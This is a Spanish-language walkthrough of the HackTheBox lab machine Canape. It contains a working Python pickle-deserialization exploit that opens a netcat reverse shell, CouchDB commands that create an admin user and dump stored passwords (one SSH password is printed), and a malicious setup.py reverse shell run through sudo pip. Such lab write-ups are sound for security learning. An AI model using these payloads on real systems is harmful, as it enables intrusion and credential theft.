En este post haremos la máquina Canape de HackTheBox.
Es una maquina Linux de un nivel medio y una de mis favoritas.

Mi nick en HackTheBox es: manulqwerty
Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de todos los puertos con nmap:

nmap -p- 10.10.10.70
nmap -sC -sV -p80,65535 10.10.10.70


Como leemos en la salida del nmap, hay un git que podría tener algo interesante. Vamos a descargarlo para revisarlo:

git clone http://git.canape.htb

Añadimos la linea ‘10.10.10.70 git.canape.htb canape.htb‘ a nuestro fichero /etc/hosts

Ahora vamos a revisar la web:

Se trata de una Fan Page de los Simpsons. Vamos a ver que hay en el git:

Lo único interesante parece ser el fichero __init__.py :

import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5

app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
	return render_template("index.html")

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
		outfile.write(char + quote)
		outfile.close()
	        success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()

En este fichero vemos el funcionamiento del portal (http://canape.htb). Vemos que en el campo ‘char’ del /submit debemos añadir alguno de los elementos de WHITELIST, en cambio el campo ‘quote’ no tiene ninguna restricción y podemos incluir lo que queramos. Se creará un fichero en /tmp cuyo nombre será char + quote en MD5 y con la extensión .p que corresponde con la extensión de un fichero Pickle, el contenido de este fichero será char + quote.
Además vemos que si hacemos una POST request adecuada al /check (el parámetro id debe ser el char+quote en MD5 que habremos enviado al /submit), el sistema ejecutará el método cPickle.loads del contenido del fichero que se crea en el /submit.

Vamos a buscar vulnerabilidades de Pickle:

Encontramos: https://lincolnloop.com/blog/playing-pickle-security/
En esta página encontramos un pequeño script que nos permitira crear nuestro payload:

import os
import cPickle

# Exploit that we want the target to unpickle
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('ls',))

shellcode = cPickle.dumps(Exploit())
print shellcode


Como vemos en el gif, cPickle.loads ejecutará como comando del sistema el contenido de shellcode.

Como veiamos en el __init__.py n el campo ‘char’ de nuestro payload debemos añadir el nombre de algún personaje, veamos como ‘bypassear’ esto:

Obviamente el comando ‘homer’ no lo encuentra pero el pwd sí que nos lo ejecuta.

Explotación

Con todas las pruebas anteriores ya podemos crearnos nuestro payload:

import os
import cPickle
from hashlib import md5
import requests

class Exploit(object):
	def __reduce__(self):
		return (os.system, ('homer:;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 7777 >/tmp/f',))

shellcode = cPickle.dumps(Exploit())

requests.post("http://10.10.10.70/submit", data={'character': shellcode.split(":")[0], 'quote': shellcode.split(":")[1]})
requests.post("http://10.10.10.70/check", data={'id': md5(shellcode.split(":")[0] + shellcode.split(":")[1]).hexdigest()})

Post-Explotación

Revisando la salida del LinEnum.sh o mediante netstat vemos que se está escuchando en el puerto 5984, que corresponde con CouchDB.

netstat -plnt

curl http://127.0.0.1:5984


Buscamos vulnerabilidades de CouchDB en la versión 2.0.0 y encontramos https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
Que nos permitirá crear un usuario con permisos para leer las bases de datos.

curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:oops' --data-binary '{"type": "user",  "name": "manuqwerty","roles": ["_admin"],"roles": [],"password": "password"}'
curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u oops:password


En la salida de estos comandos leemos:

"item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user"

En el fichero /etc/passwd encontramos que existe un usuario homer:

Una vez somos homer podemos acceder al primer flag. El siguiente paso será ver si podemos ejecutar algo como root:

sudo -l


Como veis podemos ejecutar pip install * como root!
Abusando de esto, para leer el flag nos bastará con:

sudo pip install -r /root/root.txt

Si queremos obtener shell cómo root, podemos crearnos un fichero setup.py malicioso que nos devuelva shell:

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.10",8080))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

¿Me ayudas a compatirlo?